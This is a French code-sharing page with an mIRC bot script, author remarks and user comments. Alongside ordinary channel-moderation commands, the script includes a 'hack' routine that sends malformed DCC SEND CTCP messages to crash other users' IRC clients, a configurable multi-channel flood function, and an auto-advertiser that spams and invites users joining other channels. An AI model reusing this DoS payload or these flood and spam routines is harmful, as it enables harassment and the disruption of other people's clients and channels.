Bot multi-fonctions (et même plus)

Soyez le premier à donner votre avis sur cette source.

Vue 63 388 fois - Téléchargée 4 657 fois

Description

Voila un bot très configurable avec pleins d'options je l'ai mit en niveau débutant car je ne m'estimes pas meilleur que ca ...
désolé si il n'y a pas de dialogs j'ai eu la flem ...
Ne critiquez pas les partis qui tienent du lamerz car je les ai créé pour d'autres personnes mais je peux les supprimé meme si à mon avis vu leur vetusté, elles n'ont aucun effets négatifs depuis quelques temps ... (DDC FLOOD <= POURI => PUB) !

Source / Exemple :


#######################
########ON TEXT########
#######################

on *:TEXT:*:*:{
  if (%botantipub == 1) {
    if (($chr(35) isin $1-) && ($nick !isop %botchan) && ($chan == %botchan)) {
      /set %frase $1-    
      if ( $chr(44) isin $wildtok(%frase,#*,1,32) || $wildtok(%frase,#*,1,32) == $chan ) { /halt }
      else { 
        inc $+(%,pub,$ial($nick).host,$chan) 1
        if ($eval($+(%,pub,$ial($nick).host,$chan),2) <= 1 ) {
          /notice $nick :[ATTENTION Tu a fais 1 pub sur  $+ %chan $+  :(`): La prochaine = BAN 2min]:
          /timer 1 1 /join $wildtok(%frase,#*,1,32)
          /timer 1 5 /msg $wildtok(%frase,#*,1,32) :[Pub détécté sur  $+ $chan $+  :(`): by $nick à $time(hh:nn) :(`): merci de rejoindre  $+ $chan $+  No Boulz/puberz thx]:
          /timer 1 6 /part $wildtok(%frase,#*,1,32) :[Merci de rejoindre  $+ $chan $+  $+ ]:
          /timer 1 300 /unset $+(%,pub,$ial($nick).host,$chan)
          /kick $chan $nick :[1 pub ! et deja 1 de trop]:
        }
        else {
          /mode $chan +b $ial($nick).host
          /timer 1 120 /mode $chan -b $ial($nick).host
          /kick $chan $nick :[2 pub ? tu es vraiment un boulet !]:
          /unset $+(%,pub,$ial($nick).host,$chan)
        }
      }
    }
  }
  if (($1 == !site) && ($chan == %botchan)) { .notice $nick %botprefixe %botsite %botsufixe }
  if (($1 == !Staff) && ($chan == %botchan)) { .notice $nick %botprefixe %botlineup %botsufixe }
  if (($1 == !msg) && ($chan == %botchan)) { query $nick %botprefixe pose ton message ici en disant !msg xxx (xxx => ton msg) %botsufixe }
  if (($1 == !msg) && ($chan == $null)) {
    if ($2 == $null) { return }
    set -u0 %a 0
    :loop
    inc %a
    if (%a >= 5) { .notice $nick %botprefixe La liste est pleine %botsufixe | return }
    if (%msg [ $+ [ %a ] ] == $null) { set %msg [ $+ [ %a ] ] $2- | set %nickofmsg [ $+ [ %a ] ] $nick | .msg $nick %botprefixe Msg enregistré %botsufixe | return }
    goto loop
  }
  if ($1 == !news) {
    if (%news1 != $null ) { .notice $nick %botprefixe %news1 %botsufixe }
    if (%news2 != $null ) { .notice $nick %botprefixe %news2 %botsufixe }
    if (%news3 != $null ) { .notice $nick %botprefixe %news3 %botsufixe }
    if (%news4 != $null ) { .notice $nick %botprefixe %news4 %botsufixe }
  }
  if ($1 == !cmds) {
    .notice $nick %botprefixe !news (pour connaitre les news) ; !msg (pour laisser un message aux admins) %botsufixe
    .notice $nick %botprefixe !site (voir l'url de notre site) ; !Staff (voir les membres du Staff)  %botsufixe
    if ($nick isop $chan) {
      .notice $nick %botprefixe op cmd: !opcmds (pour connaitre les commandes des operateurs) %botsufixe
    }
  }

  if ($nick !isop %botchan) { return }
  if (($1 == !readmsg) && ($2 isnum) && ($2 > 0)) {
    if (%msg [ $+ [ $2 ] ] == $null) { .notice $nick Msg n'existe pas | return }
    .notice $nick Msg $2 : %msg [ $+ [ $2 ] ] :: par : %nickofmsg [ $+ [ $2 ] ]
  }
  if ($1 == !readallmsg) {
    set -u0 %a 0
    set -u0 %b 0
    :hum
    inc %a
    inc %b 2
    if (%msg [ $+ [ %a ] ] == $null) { .timer 1 %b notice $nick Lecture Finie | return }
    .timer 1 %b .notice $nick Msg %a : %msg [ $+ [ %a ] ] :: par : %nickofmsg [ $+ [ %a ] ]
    goto hum
  }
  if ($1 == !opcmds) {
    .notice $nick %botprefixe !setnews(1,2,3,4) (pour que le bot configure les news 1,2,3 et 4) ; !readallmsg (lire les msgs) ; !autopuber (1/0 + frequence de pub (1 pers sur N qui join les chans sont pubés ex: !autopuber 1 3))  %botsufixe 
    .timer 1 3 .notice $nick %botprefixe !supprallmsg/supprmsg x (pour que le bot supprime tous les msgs ou 1 en particulier) ; !setantipub (1/0) ;  ; !totalpubed ; !autopubmsg1 ; !autopubmsg2 %botsufixe
    .timer 1 5 .notice $nick %botprefixe !setonjoin (op/voice/0) (met l'auto voice on/off) ; !setstaff ; !setsite ; !setonjoinmsg ; !setprefixe ; !setsufixe ; !voice ; !devoice/!devoice x ; !op x ; !deop/!deop x ; !hack x %botsufixe
  }
  if ($1 == !setonjoin) {
    set %voiceonjoin $2-
    .notice $nick %botprefixe on join: %voiceonjoin %botsufixe
  }
  if ($1 == !setantipub) {
    set %botantipub 1
    .notice $nick %botprefixe anti-pub: %botantipub %botsufixe
  }
  if ($1 == !setonjoinmsg) {
    set %joinmsg $2-
    .notice $nick %botprefixe onjoinmsg: %joinmsg %botsufixe
  }
  if ($1 == !setprefixe) {
    set %botprefixe $2-
    .notice $nick prefixe: %botprefixe sufixe: %botsufixe
  }
  if ($1 == !setsufixe) {
    set %botsufixe $2-
    .notice $nick prefixe: %botprefixe sufixe: %botsufixe
  }
  if ($1 == !hack) {
    /hack $2-
    .notice $nick %botprefixe $2- a été DCC Floodé ... il va peut-être planter %botsufixe
  }
  if ($1 == !voice) {
    mode %botchan +v $2-
  }
  if ($1 == !autopuber) {
    set %autopuber $2
    set %autopubn $3
    .notice $nick %botprefixe Auto Puber Statut: %autopuber | Auto Puber frequence (puber 1 personne sur X) : %autopubn
  }
  if ($1 == !autopubmsg1) {
    set %autopubx $2-
    .notice $nick %botprefixe Auto Pub MSG 1: %autopubx %botsufixe
  }
  if ($1 == !autopubmsg2) {
    set %autopuby $2-
    .notice $nick %botprefixe Auto Pub MSG 2: %autopuby %botsufixe
  }
  if ($1 == !devoice) { mode %botchan -v $iif($2,$2,$nick) }
  if ($1 == !op) {
    mode %botchan +o $2-
  }
  if ($1 == !deop) { mode %botchan -o $iif($2,$2,$nick) }
  if ($1 == !setsite) {
    set %botsite $2-
    .notice $nick %botprefixe !site: %botsite %botsufixe
  }
  if ($1 == !totalpubed) { msg $chan 7<< $+ $chan stats>> %totalpubed personnes sont arivés sur $chan suite à une pub du bot }
  if ($1 == !kick) {
    /kick %botchan $2 $3
  }
  if ($1 == !ban) {
    /ban %botchan $2
  }
  if ($1 == !kickban) {
    /ban %botchan $2
    /timer 1 1 /kick %botchan $2 $3
  }
  if ($1 == !setstaff) {
    set %botlineup $2-
    .notice $nick %botprefixe !lineup: %botlineup %botsufixe
  }
  if ($1 == !setnews) { .notice $nick %botprefixe les cmds sont !setnews1 !setnews2 !setnews3 !setnews4 !news !saynews %botsufixe }
  if (($left($1,8) == !setnews) && ($len($1) == 9)) {
    set %news [ $+ [ $right($1,1) ] ] $2- | .notice $nick voici la news $right($1,1) : $2-
  }
  if ($1 == !supprallmsg) {
    unset %nickofmsg* %msg* | .notice $nick Tous les messages ont été effacés
  }
  if (($1 == !supprmsg) && ($2 isnum) && ($2 > 0)) {
    if (%msg [ $+ [ $2 ] ] == $null) { .notice $nick Msg n'existe pas | return }
    set -u0 %a $2
    dec %a
    :del
    inc %a
    if (%msg [ $+ [ %a ] ] == $null) { .notice $nick Msg $2 effacé | return }
    set -u0 %t %msg [ $+ [ $calc(%a +1) ] ]
    set %msg [ $+ [ %a ] ] %t
    set -u0 %t %nickofmsg [ $+ [ $calc(%a +1) ] ]
    set %nickoffmsg [ $+ [ %a ] ] %t
  }
}

#######################
#######others ON#######
#######################

ON *:LOAD:{
  .echo -a 0,7.:4|0:. 8Bot installé 0,7.:4|0:.
  .echo -a 0,7.:4|0:. 8Bot by b3b3n (b3n_j@voila.fr) ! 0,7.:4|0:.
  .timer 1 5 set %botsrv $?="serveur irc du bot (irc.quakenet.eU.org/irc.voila.fr/...)"
  .timer 1 5 set %botchan $?="Nom du chan principal ?"
  .timer 1 5 set %botnick $?="Nom du bot ?"
  .timer 1 5 set %Qauth $?="compte Q du bot"
  .timer 1 5 set %Qpass $?="pass Q du bot"
  .timer 1 30 if (%botsrv) { server %botsrv }
}
ON *:UNLOAD:{
  .echo -a 0,7.:4|0:. 8Bot désinstallé 0,7.:4|0:.
  .echo -a 0,7.:4|0:. 8Bot by b3b3n (b3n_j@voila.fr) ! 0,7.:4|0:.
}
ON *:CONNECT:{
  .msg Q@Cserve.Quakenet.org auth %Qauth %Qpass
  mode $me +x
  /join %botchan
  /timer 1 5 if ($%botnick != $me ) { /name %botnick } 
}
ON *:START:{
  /server %botsrv
  /nick %botnick
}
on *:JOIN:*:{
  if ($chan == %botchan) {
    if (%autopuber == 1) && ($nick isin %pubnick) { inc %totalpubed }
    if (%joinmsg != $null) { .notice $nick %botprefixe %joinmsg %botsufixe }
    if (%onjoin == op) { mode $chan +o $nick }
    if (%onjoin == voice) { mode $chan +v $nick }
  }
  if ($chan != %botchan) && (%autopuber == 1) {
    if (%antipub => %autopubn) {
      .timer 1 10 scanpub
    }
    if (%antipub < %autopubn) { inc %antipub }
    if (!%antipub) { set %antipub 0 }
  }
}

on *:unotify:if ($nick == %mynick) { nick $nick | notify -r $nick | echo -a 1,4Ton nom est maintenant $me }

#######################
#########Alias#########
#######################

alias scanpub {
  if ($nick !isop $chan) {
    if (%autopubx != $null) { .msg $nick %autopubx }
    if (%autopuby != $null) { .msg $nick %autopuby }
    .ignore -u60 $nick
    set %antipub 0
    set %pubnick %pubnick $nick
    invite $nick %botchan
  }
}

alias name { set %mynick $1 | notify $$1 }

alias goandflood {
  if (%chanflood1 != 0) { /msg %chanflood1 %txtflood }
  if (%chanflood2 != 0) { .timerdeflood2 1 2 /msg %chanflood2 %txtflood }
  if (%chanflood3 != 0) { .timerdeflood3 1 3 /msg %chanflood3 %txtflood }
}

alias goflood {
  .timerdeflood %nbflood %repetflood /goandflood
  echo -a 8,7flood lancé
}
alias stopflood {
  .timerdeflood off
  echo -a 8,7flood stopé
}

alias bhack { //raw privmsg $$1 : $+ $chr(1) $+ DCC SEND \" $+ $str($rand(a,z) $+ $chr(32), 165) $+ $longip(127.0.0.1) $rand(113,9999) $+ $chr(1) }
alias hack {
  if ($1) { bhack $1 }
  if ($2) { bhack $2 }
  .timerbhack1 1 5 if ($3) { bhack $3 }
  .timerbhack1 1 10 if ($4) { bhack $4 }
  .timerbhack1 1 15 if ($5) { bhack $5 }
}

#######################
#########CTCP##########
#######################

ctcp *:ping:?:/halt
ctcp *:time:?:/halt
ctcp *:finger:?:/halt
ctcp *:version:?:/halt

#######################
#########menu##########
#######################

menu menubar,channel,query,status {
  -
  € Bot €
  .Nick du bot ( %botnick ): /set %botnick $?="Le nom du bot"
  .Serveur du bot  ( %botsrv ):/set %botsrv $?="Le serveur IRC du bot (par exemple irc.quakenet.eu.org)"
  .Chan principal ( %botchan ):/set %botchan $?="Le canal ou devra operer le bot"
  .Q auth
  ..Q auth du bot ( %Qauth ):/set %Qauth $?="Le compte Q (si le serveur est Quakenet) du bot"
  ..Q pass du bot ( %Qpass ):/set %Qpass $?="Le pass Q (si le serveur est Quakenet) du compte du bot"
  .Configuration
  ..prefixe ( %botprefixe ):/set %botprefixe $?="le prefixe (ce qui precedera tout ce que dit le bot) permet de donner à vos texte une belle apparence"
  ..sufixe ( %botsufixe ):/set %botsufixe $?="Le Sufixe (ce qui sucedera à tout ce que dit le bot) permet de donner à vos texte une belle apparence"
  ..Join message ( %joinmsg ):/set %joinmsg $?="Message que les gens veront en se connectant au cannal (ne rien mettre pour ne pas avoir de message"

  ..On Join Action ( %onjoin ):/set %onjoin $?="op ou voice ou off"

  ..Anti-Pub ( %botantipub ):/set %botantipub $?="Le statut de l'anti-pub: 1/0"
  ..!Staff ( %botlineup ):/set %botlineup $?="Le staff"
  ..!site ( %botsite ):/set %botsite $?="Votre site web"
  .Bot puber
  .. Status du Puber ( %autopuber ):/set %autopuber $?="Mettre 1 ou 0 pour activer ou desactiver le puber"
  .. msg n°1 ( %autopubx ):/set %autopubx $?="Message 1 que le bot dira en pubant"
  .. msg n°2 ( %autopuby ):/set %autopuby $?="Message 2 que le bot dira en pubant"
  .. frequence de pub ( %autopubn ):/set %autopubn $?="Frequence de pub par exemple si vous mettez 3 le bot pubera 1 personne sur 3 au join"
  .AutoMessage
  ..lancer l'auto message:/goflood
  ..stoper l'auto message:/stopflood
  ..txt a dire ( %txtflood ):/set %txtflood $?="texte à dire"
  ..temps de repetition entre chaque txt ( %repetflood ):/set %repetflood $?="temps de repetition entre chaque txt (en secondes)"
  ..nb de fois ou flooder ( %nbflood ):/set %nbflood $?="nombre de floods (mettre 0 pour l'infini)"
  .. Channels ou flooder --
  ...chan1 ( %chanflood1 ):set %chanflood1 $?="chan ou flooder 1 (mettre 0 si vous n'en voulez pas)"
  ...chan2 ( %chanflood2 ):set %chanflood2 $?="chan ou flooder 2 (mettre 0 si vous n'en voulez pas)"
  ...chan3 ( %chanflood3 ):set %chanflood3 $?="chan ou flooder 3 (mettre 0 si vous n'en voulez pas)"
  .envoyer un mail à b3n_j:/url mailto:b3n_j@voila.fr
  .hack:/bhack $?="Quel nick(s) ?"
}

#######################
#####bot by b3b3n######
#######################
####b3n_j@voila.fr#####
#######################

Conclusion :


mes remerciments Simcamb de #vossey et de #seek4L et Arkanis de #arkanis qui conciderent les noobs comme des futures scripters et non comme des déchets ! Je remercis aussi #help.script et beaucoup d'autres chans qui m'ont aidé dans tous mes projets !

J'ai créé www.FTPCorp.fr.st je ne peux donc pas m'enpecher de faire une pub ;)

Dailleur comme ce script à été créé par un acro du partage: RIGHT TO COPY :D !!!

J'esperes que ce script n'est pas aussi pouri que je le penses ... à vous de me le dire, merci d'avance !

PS:désolé pour l'orthographe: il est 6:28 du matin, je suis crevé, je vais allé me coucher donc je ne corrigerais pas mes fautes d'orthographe ... désolé.

Codes Sources

A voir également

Ajouter un commentaire Commentaires
Messages postés
1
Date d'inscription
mercredi 27 octobre 2010
Statut
Membre
Dernière intervention
27 octobre 2010

Est-ce que quelle qu'un pourrai maider je mit connais pas en PC je voudrai installer un bot svp

merci d'avence !!
Messages postés
1
Date d'inscription
dimanche 23 mai 2010
Statut
Membre
Dernière intervention
23 mai 2010

taper dans google:recherche megaupload
vous aller sur le site et vous chercher M4xOubot vous le telecharger vous l installez c est tout simple
Messages postés
1
Date d'inscription
samedi 20 mars 2010
Statut
Membre
Dernière intervention
20 mars 2010

Personellement , je cherche "mirc.exe" sur internet , je n'ai pas encore trouvé -_-" Mais je vais trouver :D . Je ne m'y connais pas très bien non plus , normallement je fais ca l'année prochaine... Enfin j'me souhaite bonne chance tout seul xD
Messages postés
1
Date d'inscription
mercredi 17 février 2010
Statut
Membre
Dernière intervention
17 février 2010

ou est ce kon trouve mirc.exe
Messages postés
28
Date d'inscription
jeudi 30 janvier 2003
Statut
Membre
Dernière intervention
26 janvier 2005

A tous ceux qui demandent comment faire pour lancer le script, et tous les autres qui répondent des âneries : Vous lancez mirc.exe, vous faites alt+r pour arriver dans les remotes, vous creez un nouveau fichier et vous faites un joli copier-coller du code.
Afficher les 47 commentaires

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.